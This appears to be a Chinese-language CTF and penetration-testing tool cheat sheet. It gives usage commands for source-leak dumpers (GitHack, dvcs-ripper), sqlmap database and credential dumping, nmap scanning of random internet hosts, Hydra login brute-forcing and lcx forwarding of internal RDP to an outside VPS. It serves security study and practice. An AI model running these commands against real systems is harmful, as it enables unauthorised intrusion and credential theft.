dirsearch-网站目录结构扫描器
dirsearch是一个基于python的命令行工具,旨在暴力扫描页面结构,包括网页中的目录和文件。
安装与使用
#安装:
git clone https://github.com/maurosoria/dirsearch.git
#使用:
cd dirsearch/
#运行需要python3环境:
python3 dirsearch.py -u "http://localhost/" -e *
# 扫描网站需要指定网站的脚本类型,* 为全部类型的脚本
用法示例
扫描结果
扫描时间,状态码,大小,扫描的目录,重定向的地址
GitHack -一个git泄露利用脚本
GitHack是一个.git泄露利用测试脚本,通过泄露的文件,还原重建工程源代码。
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
Git信息泄露的危害很大,渗透测试人员、攻击者,可直接从源码获取敏感配置信息(如:邮箱,数据库),也可以进一步审计代码,挖掘文件上传、SQL注射等安全漏洞。
安装与使用
下载地址:
版本1:https://github.com/lijiejie/GitHack 从 .git
文件夹重建源代码,同时保持目录结构不变。
版本2:https://github.com/BugScanTeam/GitHack .git
泄漏利用工具,可还原历史版本
使用:
# 1. 切换到GitHack的路径下
cd GitHack-master
# 2.执行py脚本
python GitHack.py http://111.198.29.45:57559/.git/
脚本的工作原理:
1. 解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 )
2. 去.git/objects/ 文件夹下下载对应的文件
3. 使用zlib解压文件,按原始的目录结构写入源代码
优点:
1. 速度快,默认20个工作线程
2. 尽量还原所有的源代码,缺失一部分文件不影响脚本工作
3. 脚本不需要执行额外的git命令,有python就够了
用法示例
此例子为攻防世界-web-mfw
重建的工程源代码在GitHack文件夹中
参考:https://www.secpulse.com/archives/6275.html
.DS_Store-文件泄漏利用脚本
.DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。相当于 Windows 下的 desktop.ini。
安装
#安装:
git clone https://github.com/lijiejie/ds_store_exp.git
pip install -r requirements.txt
#使用:
cd \A-CTFtools\脚本\Web\ds_store_exp-master #切换到你安装的路径下
运行需要python2环境:
python ds_store_exp.py http://www.example.com/.DS_Store
用法示例
此例子为bugku-sql注入2
通过扫描发现.DS_Store
文件泄露
使用脚本查看.DS_Store
文件
访问发现的路径得到flag
dvcs-ripper-版本控制软件信息泄露利用工具
一款perl的版本控制软件信息泄露利用工具,支持SVN, GIT, Mercurial/hg, bzr… git泄露推荐使用Githack,功能更强
安装
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
sudo apt-get install libparallel-forkmanager-perl libredis-perl libalgorithm-combinatorics-perl
sudo apt-get install cvs subversion git bzr mercurial
git clone https://github.com/kost/dvcs-ripper
用法示例
# 1. 切换到dvcs-ripper的路径下
cd dvcs-ripper
# 2.执行脚本
#SVN
perl rip-svn.pl -v -u http://www.example.com/.svn/
#HG
perl rip-hg.pl -v -u http://www.example.com/.hg/
#Git
perl rip-git.pl -v -u http://www.example.com/.git/
#bzr
perl rip-bzr.pl -v -u http://www.example.com/.bzr/
#CVS
perl rip-cvs.pl -v -u http://www.example.com/CVS/
此例子为CTFHub-SVN泄露
# 1. 切换到dvcs-ripper的路径下
cd dvcs-ripper
# 2.执行perl脚本
perl rip-svn.pl -v -u http://challenge-8df627014df49067.sandbox.ctfhub.com:10080/.svn/
3.进入.svn/pristine/
文件夹下, 在bf
文件夹下发现xxx.svn-base
源码文件,查看得到flag
SQLmap-自动SQL注入工具
SQLmap是一款用来检测与利用SQL注入漏洞的免费开源工具,有一个非常棒的特性,即对检测与利用的自动化处理(数据库指纹、访问底层文件系统、执行命令)。
安装
windows安装方法:Windows下sqlmap的安装图解
Linux安装方法:
wget https://codeload.github.com/sqlmapproject/sqlmap/legacy.tar.gz/master #下载sqlmap
tar zxvf master #解压压缩包
cd sqlmapproject-sqlmap-310d79b/ #进入解压目录
python sqlmap.py -h #开始使用
用法示例
(1) 猜解是否能注入
win: python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1
kali: sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1
(2) 查找数据库
win:python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --dbs # ?id=1 --current-db(当前数据库)
kali: sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --dbs
(3) 猜解表(假如通过(2)得到了web1这个数据库)
win: python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tables -D web1
kali: sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tables -D web1
(4) 根据猜解的表进行猜解表的字段(假如通过(3)得到了flag这个表)
win: python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --columns -T flag -D web1
kali: sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --columns -T flag -D web1
(5) 根据字段猜解内容(假如通过(4)得到字段为username和password)
win: python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --dump -C "username,password" -T flag -D web1
kali: sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --dump -C "username,password" -T flag -D web1
Target(目标):
以下至少需要设置其中一个选项,设置目标URL。
-d (DIRECT) 直接连接到数据库。
-u (URL), –url=URL 目标URL。
-l (LIST) 从Burp或WebScarab代理的日志中解析目标。
-r (REQUESTFILE) 从一个文件中载入HTTP请求。
-g (GOOGLEDORK) 处理Google dork的结果作为目标URL。
-c (CONFIGFILE) 从INI配置文件中加载选项。
Enumeration(枚举):
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的SQL语句。
--tamper=space2comment 绕过空格 (--tamper=space2comment --dbs)
-a 检索所有内容
-b, –banner 检索数据库管理系统的标识
-D (DBname) 枚举的指定数据库名中信息
-T (TBLname) 枚举的指定数据库表中信息(eg:-T tablename –columns)
-C (COL ) 枚举的指定数据库字段(列)信息 (eg:-C flag -T flag -D web1 <---> -C 字段名 -T 表名 -D 数据库名)
-U (USER) 用来进行枚举的数据库用户
--dbs 扫描数据库信息
--tables 列出数据库所有的表信息
--columns 列出数据库表中的所有字段信息(表列)
--current-db 列出当前的数据库名称
-current-user 检索数据库管理系统当前用户
--roles 枚举用户
-dump 列出数据库中表的字段名中信息
--dump-all 列所有表的内容
--exclude-sysdbs 列举用户数据库的表内容
--common-tables暴力破解表
-is-dba 检测DBMS当前用户是否DBA
-users 枚举数据库管理系统用户
-passwords 枚举数据库管理系统用户密码哈希
-privileges 枚举数据库管理系统用户的权限
-columns 枚举DBMS数据库表列-dump 转储数据库管理系统的数据库中的表项
-search 搜索列(S),表(S)和/或数据库名称(S)
-start=LIMITSTART 第一个查询输出进入检索
-stop=LIMITSTOP 最后查询的输出进入检索
-first=FIRSTCHAR 第一个查询输出字的字符检索
-last=LASTCHAR 最后查询的输出字字符检索
-sql-query=QUERY 要执行的SQL语句
-sql-shell 提示交互式SQL的shell
更多参考我另一篇文章:https://www.jianshu.com/p/a46abd1e67aa
Nmap-网络扫描工具
简介
nmap(Network Mapper)是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦称 fingerprinting)。它是网络管理员必用的软件之一,以及用以评估网络系统安全。
核心功能
1.1 主机发现
1.2 端口扫描
1.3 版本侦测
1.4 操作系统侦测
1.5 防火墙/IDS规避和哄骗
1.6 NSE脚本引擎
基本命令和典型用法
Nmap 基本语法
nmap [ <扫描类型> ...] [ <选项> ] { <扫描目标说明> }
全面进攻性扫描(包括各种主机发现、端口扫描、版本扫描、OS扫描及默认脚本扫描):
nmap -A -v target_ip
Ping扫描:
nmap -sn -v target_ip
快速端口扫描:
nmap -F -v target_ip
版本扫描:
nmap -sV -v target_ip
操作系统扫描:
nmap -O -v target_ip
常用命令
nmap -p 0-65535 target_ip #扫描端口
nmap -sV target_ip #扫描端口和对应服务
nmap -sP network_segment #扫描网络存活主机
nmap -O target_ip #扫描操作系统
nmap -sS -sV --script=xxx.nse target_ip #使用脚本扫描漏洞
nmap -iR 10 -p 3306 随机生成10个互联网上的IP,从中找出mysql服务器。
详细用法
不老的神器:安全扫描器Nmap渗透使用指南
nmap的常用命令表
AWVS-漏洞扫描工具
Acunetix Web Vulnerability Scanner(简称AWVS)是一款知名的网络漏洞扫描工具,它通过网络爬虫测试你的网站安全,检测流行安全漏洞。AWVS可以检查SQL注入漏洞,也可以检查跨站脚本攻击漏洞,可以扫描任何可以通过web浏览访问和遵循HTTP/HTTPS规则的web站点和web应用程序。
官网地址:https://www.acunetix.com/vulnerability-scanner/
Crunch-字典生成工具
Crunch是一种创建密码字典工具,按照指定的规则生成密码字典,可以灵活的制定自己的字典文件。使用Crunch工具生成的密码可以输出到屏幕,保存到文件、或另一个程序。
语法和参数
crunch <min> <max> [options] [<charset string>]
#参数详解
min 设定最小字符串长度(必选)
max 设定最大字符串长度(必选)
<charset string> 指定字符集设置
oprions
-b 指定文件输出的大小,避免字典文件过大
-c 指定文件输出的行数,即包含密码的个数
-d 限制相同元素出现的次数
-e 定义停止字符,即到该字符串就停止生成
-f 调用库文件(/etc/share/crunch/charset.lst)
-i 改变输出格式,即aaa,aab -> aaa,baa
-I 通常与-t联合使用,表明该字符为实义字符
-m 通常与-p搭配
-o 将密码保存到指定文件
-p 指定元素以组合的方式进行
-q 读取密码文件,即读取pass.txt
-r 定义重某一字符串重新开始
-s 指定一个开始的字符,即从自己定义的密码xxxx开始
-t 指定密码输出的格式
-u 禁止打印百分比(必须为最后一个选项)
-z 压缩生成的字典文件,支持gzip,bzip2,lzma,7z
用法示例
root@kali:~# crunch -h
#生成最小为1 ,最大为8位,全部由字母组成
root@kali:~#crunch 1 8
#生成最小为1 ,最大为2位,全部由abc组成
root@kali:~# crunch 1 2 abc
#生成最小为1 ,最大为6位,全部由abc和空格组成
root@kali:~# crunch 1 6 ab\
#生成最小为1 最大为8 调用系统里面的元素密码库中的mixalpha-numeric-all-space,并保存为wordlist.txt文件
root@kali:~#crunch 1 8 -f /usr /crunch arset.lst mixalpha-numeric-all-space -o wordlist.txt
#调用系统里面的元素密码库中的mixalpha-numeric-all-space这一项 生成8位密码,生成格式“两个小写字母+dog+两个小写字母",并以cbdog开头。
root@kali:~# crunch 8 8 -f /usr /crunch arset.lst mixalpha-numeric-all-space -o wordlist.txt -t @@dog@@@ -s cbdog
#调用系统里面的元素密码库中的ualpha这一项。生成2-3位密码,并以BB开头 -s 以什么为开头
root@kali:~#crunch 2 3 -f /usr /crunch arset.lst ualpha -s BB
#生成 但是前面无论数字是多少,但是必须要有。
root@kali:~# crunch 5 5 -p abc
abc
acb
#生成 但是前面无论数字是多少,但是必须要有。
root@kali:~#crunch 4 5 -p dog cat bird
birdcatdog, birddogcat, catbirddog, catdogbird, dogbirdcat, dogcatbird.
#生成最小为1位最大为5位所有小定字母的密码字典,其中每个文件包含6000个密码,并将密码文件保存为bz2文件.输出文件格式为first_word-last_word.txt.bz2
root@kali:~#crunch 1 5 -o START -c 6000 -z bzip2
#生成 aaaa-gvfed.txt, gvfee-ombqy.txt, ombqz-wcydt.txt, wcydu-zzzzz.txt 每个文件大小为20M
root@kali:~# crunch 4 5 -b 20mib -o START
#生成4位密码,其中密码格式为”两个数字“+一个小字母+常规符号(其中数字这里被指123组成的所有2位排列组合)。
root@kali:~#crunch 4 4 + + 123 + -t %%@^
#生成5个无素组成密码,其中前三个为dog cat bird排列组合,后面两个为小写字母。
root@kali:~# crunch 5 5 -t ddd@@ -o j -p dog cat bird
#生成7位密码 格式”p@ss+大写字母+数字+常规字符“ -l 中@对-t里面的@进行了转义
root@kali:~#crunch 7 7 -t p@ss,%^ -l a@aaaaa
#生成密码为5位,格式为”3个字母+三个数字。“ -d 2@ 限制每个密码最少出现2种字母.
root@kali:~#crunch 5 5 -d 2@ -t @@@%%
#生成密码为10位 ,格式”三个小字母+一个常规符号+4个数字+两个常规符号“ ,限制每个密码至少2种小写字母和至少三个数字。并且每个文件为20M,文件名为START的格式。
root@kali:~# crunch 10 10 -t @@@^%%%%^^ -d 2@ -d 3% -b 20mb -o START
#生成8位密码,每个密码至少出现2种字母。
root@kali:~# crunch 8 8 -d 2@
Hydra-暴力密码破解工具
语法和参数
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名
破解ssh
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
破解ftp
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
get方式提交,破解web登录
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.php
post方式提交,破解web登录
hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>"
(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)
破解https
hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
破解teamspeak
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
破解cisco
hydra -P pass.txt 10.36.16.18 cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
破解smb
hydra -l administrator -P pass.txt 10.36.16.18 smb
破解pop3
hydra -l muts -P pass.txt my.pop3.mail pop3
破解rdp
hydra ip rdp -l administrator -P pass.txt -V
破解http-proxy
hydra -l admin -P pass.txt http-proxy://10.36.16.18
破解imap
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
详细请看:(总结)Linux下的暴力密码在线破解工具Hydra详解
curl-命令行文件传输工具
用法示例
#不带有任何参数时,curl 就是发出 GET 请求。
curl https://www.example.com
#-A参数指定客户端的用户代理标头,即User-Agent
curl -A 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36' https://google.com
#-b参数用来向服务器发送 Cookie。
curl -b 'foo1=bar;foo2=bar2' https://google.com
#-d参数用于发送 POST 请求的数据体。
$ curl -d 'login=emma&password=123'-X POST https://google.com/login
# 或者
$ curl -d 'login=emma' -d 'password=123' -X POST https://google.com/login
#-e参数用来设置 HTTP 的标头Referer -H参数可以通过直接添加标头Referer达到同样效果。
curl -e 'https://google.com?q=example' https://www.example.com
或者
curl -H 'Referer: https://google.com?q=example' https://www.example.com
#-H参数添加 HTTP 请求的标头。
curl -H 'Accept-Language: en-US' -H 'Content-Type: application/json' https://google.com
#-i参数打印出服务器回应的 HTTP 标头
curl -i https://www.example.com
#-u参数用来设置服务器认证的用户名和密码。
curl -u 'bob:12345' https://google.com/login
#-v参数输出通信的整个过程,用于调试。
curl -v https://www.example.com
#-X参数指定 HTTP 请求的方法。
curl -X POST https://www.example.com
更多详细请看:curl 的用法指南
SSH端口转发
基础知识
端口转发前服务器必须做如下配置:
#1.允许任何人连接到转发的端口
vim /etc/ssh/sshd_config
将#GatewayPorts no 修改为 GatewayPorts yes
#2.重启ssh服务
service sshd restart
或者
systemctl restart sshd
SSH语法:
ssh [options] [-l login_name][user@]hostname [command]
创建SSH隧道的常用参数如下:
-C:压缩数据传输
-f:将SSH传输转入后台执行,不占当前的Shell,通常和-N连用
-N:只希望建立隧道,而不会在远程主机上执行任何指令
-T:只希望建立隧道,因而不需要创建虚拟终端
-g:允许远程主机连接本地用于转发的端口
-L:本地端口转发
-R:远程端口转发
-D:动态转发
-P:指定SSH端口
-q 安静模式,不输出错误/警告信息
本地端口转发
构成条件:本地网无法访问私网,本地网可以访问云服务器,云服务器可以访问私网
将本地机的某个端口转发到远端目标机器的指定端口:
ssh -CfNg -L 本地IP:本地port:私网IP:私网port 服务器用户名@服务器IP
实例
场景描述:云服务器上有一个Web服务,端口8080,但是安全组没有开放8080端口,因此本地无法访问该服务,怎样才能让本地访问到Web服务呢?
首先确保服务器进行了前面的端口转发前配置(打开GatewayPorts),然后执行下方命令
ssh -CfNg -L 192.168.137.1:8088:localhost:8080 root@139.224.112.182
运行命令,输入密码后,本地访问 192.168.137.1:8088
或者 localhost:8088
就可以访问到云服务器的 Web 服务
远程端口转发
构成条件:本地网无法访问私网,本地网可以访问云服务器,私网也可以访问云服务器
将远程主机(服务器)的某个端口转发到目标机器的指定端口:
ssh -CfNg -R 远程IP:服务器port:内网IP:内网port 服务器用户名@服务器IP
实例
场景描述:本地主机运行了一个Web服务,端口为80,怎么让其他人也能访问这个Web服务?
首先确保服务器进行了前面的端口转发前配置(打开GatewayPorts),然后服务器安全组打开8088端口,然后执行下方命令
ssh -CfNg -R 0.0.0.0:8088:192.168.137.1:80 root@139.224.112.182
# 0.0.0.0表示vps上监听所有地址,即所有人可访问
运行命令,输入密码后,其他人访问 139.224.112.182:8088
就可以访问到我本地的 Web 服务了
其他相关命令:
netstat -anp|grep 8088 #检验端口的网络连接情况
killall ssh #终止ssh所有进程
参考:
lcx端口转发
lcx是一款强大的内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口。Windows版是lcx.exe,Linux版为portmap
内网端口转发:
lcx.exe -slave vps 3333 127.0.0.1 3389
lcx.exe -listen 3333 4444
本地端口转发:
lcx.exe -tran 21 主机IP 3389 #将3389端口转发到其他端口